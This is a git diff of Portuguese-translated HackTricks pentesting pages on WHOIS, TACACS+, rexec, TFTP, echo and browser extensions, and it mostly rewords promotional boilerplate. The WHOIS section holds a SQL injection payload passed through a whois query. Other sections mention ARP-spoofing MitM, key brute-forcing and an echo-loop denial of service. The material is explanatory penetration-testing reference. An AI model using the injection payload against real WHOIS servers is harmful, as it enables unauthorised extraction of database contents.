* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,18 +4,18 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
# Informação Básica
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou titulares de vários recursos da Internet** por meio de bancos de dados específicos. Esses recursos incluem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo encontra aplicação no acesso a um espectro mais amplo de informações.
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou titulares de vários recursos da Internet** por meio de bancos de dados específicos. Esses recursos incluem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo é aplicado para acessar um espectro mais amplo de informações.
**Porta padrão:** 43
```
@ -33,7 +33,7 @@ Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco d
![](<../.gitbook/assets/image (147).png>)
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você pode ser capaz de **extrair todas** as **informações** salvas no banco de dados.
# Shodan
@ -65,10 +65,10 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -1,20 +1,4 @@
# 49 - Pentesting TACACS+
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
# Informações Básicas
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
```
@ -29,7 +13,7 @@ Se a comunicação entre o cliente e o servidor TACACS for interceptada por um a
### Realizando um Ataque Man-in-the-Middle (MitM)
Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
### Força Bruta na Chave
@ -56,9 +40,9 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
É um serviço que **permite executar um comando dentro de um host** se você conhece **credenciais** válidas (nome de usuário e senha).
É um serviço que **permite que você execute um comando dentro de um host** se você souber as **credenciais** válidas (nome de usuário e senha).
**Porta Padrão:** 512
```
@ -27,14 +27,14 @@ PORT STATE SERVICE
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,10 +4,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -15,9 +15,9 @@ Outras maneiras de apoiar o HackTricks:
# Informações Básicas
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo simples usado na **porta UDP 69** que permite transferências de arquivos sem autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo direto usado na **porta UDP 69** que permite transferências de arquivos sem a necessidade de autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
**TODO**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, avise-nos, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, nos avise, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Porta Padrão:** 69/UDP
```
@ -57,7 +57,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -7,15 +7,15 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
# Informação Básica
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir tanto os protocolos TCP quanto UDP. O servidor envia de volta quaisquer dados que recebe, sem modificação.\
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode escutar nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificações.\
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
@ -51,7 +51,7 @@ Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,21 +6,21 @@
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas
As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas m seu [DOM](https://www.w3schools.com/js/js_htmldom.asp) mas podem interagir com o DOM de outros sites. Isso significa que elas podem comprometer a confidencialidade, integridade e disponibilidade de outros sites (CIA).
As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas possuem seu [DOM](https://www.w3schools.com/js/js\_htmldom.asp) mas podem interagir com o DOM de outros sites. Isso significa que elas podem comprometer a confidencialidade, integridade e disponibilidade de outros sites.
## Componentes Principais
Os layouts de extensão ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
Os layouts das extensões ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em detalhes.
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
@ -44,7 +44,7 @@ Para obter os privilégios completos do usuário, um atacante deve convencer a e
Cada componente da extensão é separado uns dos outros por **fortes limites de proteção**. Cada componente é executado em um **processo de sistema operacional separado**. Os scripts de conteúdo e os núcleos da extensão são executados em **processos de sandbox** indisponíveis para a maioria dos serviços do sistema operacional.
Além disso, os scripts de conteúdo são separados de suas páginas da web associadas por **serem executados em um heap JavaScript separado**. O script de conteúdo e a página da web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, evitando o vazamento de funcionalidades JavaScript.
Além disso, os scripts de conteúdo são separados de suas páginas da web associadas por **serem executados em um heap JavaScript separado**. O script de conteúdo e a página da web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, impedindo o vazamento de funcionalidades JavaScript.
## **`manifest.json`**
@ -118,13 +118,13 @@ document.body.appendChild(div);
Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo quando este botão é clicado, através da utilização da [**API runtime.sendMessage()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Isso ocorre devido à limitação do script de conteúdo no acesso direto às APIs, sendo o `storage` uma das poucas exceções. Para funcionalidades além dessas exceções, mensagens são enviadas para as páginas da extensão com as quais os scripts de conteúdo podem se comunicar.
{% hint style="warning" %}
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, a [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
Dependendo do navegador, as capacidades do script de conteúdo podem variar ligeiramente. Para navegadores baseados em Chromium, a lista de capacidades está disponível na [documentação dos desenvolvedores do Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), e para o Firefox, o [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) serve como fonte primária.\
Também é importante notar que os scripts de conteúdo têm a capacidade de se comunicar com scripts de plano de fundo, permitindo que realizem ações e transmitam respostas de volta.
{% endhint %}
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas para desenvolvedores do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
Ao exibir as ferramentas para desenvolvedores, a **aba Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação dos scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
### Scripts de conteúdo injetados
@ -132,7 +132,7 @@ Ao exibir as ferramentas para desenvolvedores, a **aba Origem** deve ser clicada
Observe que **Scripts de Conteúdo não são obrigatórios** pois também é possível **injetar scripts dinamicamente** e **injetá-los programaticamente** em páginas da web via **`tabs.executeScript`**. Isso, na verdade, fornece mais **controles granulares**.
{% endhint %}
Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto solicitando-as dentro do manifesto da extensão quanto temporariamente através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Para a injeção programática de um script de conteúdo, a extensão deve ter [permissões de host](https://developer.chrome.com/docs/extensions/reference/permissions) para a página na qual os scripts serão injetados. Essas permissões podem ser garantidas tanto **solicitando-as** dentro do manifesto da extensão quanto de forma temporária através de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Exemplo de extensão baseada em activeTab
@ -204,7 +204,7 @@ O campo `run_at` controla **quando os arquivos JavaScript são injetados na pág
Os valores possíveis são:
* **`document_idle`**: Sempre que possível
* **`document_start`**: Após quaisquer arquivos de `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
* **`document_start`**: Após quaisquer arquivos `css`, mas antes de qualquer outro DOM ser construído ou qualquer outro script ser executado.
* **`document_end`**: Imediatamente após o DOM estar completo, mas antes de subrecursos como imagens e frames serem carregados.
#### Via `manifest.json`
@ -234,7 +234,7 @@ js : [ "contentScript.js" ],
```
### `background`
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Modelo de Objeto de Documento (DOM), permitindo interações complexas e gerenciamento de estado.
As mensagens enviadas pelos scripts de conteúdo são recebidas pela **página de fundo**, que desempenha um papel central na coordenação dos componentes da extensão. Notavelmente, a página de fundo persiste ao longo da vida da extensão, operando discretamente sem interação direta do usuário. Possui seu próprio Document Object Model (DOM), permitindo interações complexas e gerenciamento de estado.
**Pontos Chave**:
@ -256,7 +256,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
}
})
```
Utiliza a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando recebe uma mensagem `"explain"`, utiliza a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
Ele usa a [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para ouvir mensagens. Quando uma mensagem `"explain"` é recebida, ele usa a [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir uma página em uma nova aba.
Para depurar o script de fundo, você pode ir para os **detalhes da extensão e inspecionar o service worker**, isso abrirá as ferramentas de desenvolvedor com o script de fundo:
@ -268,11 +268,11 @@ As extensões do navegador podem conter vários tipos de páginas:
* **Páginas de ação** são exibidas em um **menu suspenso quando o ícone da extensão é clicado**.
* Páginas que a extensão irá **carregar em uma nova aba**.
* **Páginas de opções**: Esta página é exibida no topo da extensão quando clicada. No manifesto anterior, consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando em:
* **Páginas de opções**: Esta página é exibida sobre a extensão quando clicada. No manifesto anterior, no meu caso, consegui acessar esta página em `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou clicando em:
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
Observe que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente quando necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
- **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
- **Acesso a APIs Específicas da Extensão:** Essas páginas têm amplo acesso a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
@ -283,7 +283,7 @@ Observe que essas páginas não são persistentes como as páginas de fundo, poi
Como as extensões do navegador podem ser tão **privilegiadas**, uma maliciosa ou comprometida poderia permitir ao atacante **diferentes meios de roubar informações sensíveis e espionar o usuário**.
Verifique como essas configurações funcionam e como podem ser abusadas em:
Verifique como essas configurações funcionam e como elas podem ser abusadas em:
{% content-ref url="browext-permissions-and-host_permissions.md" %}
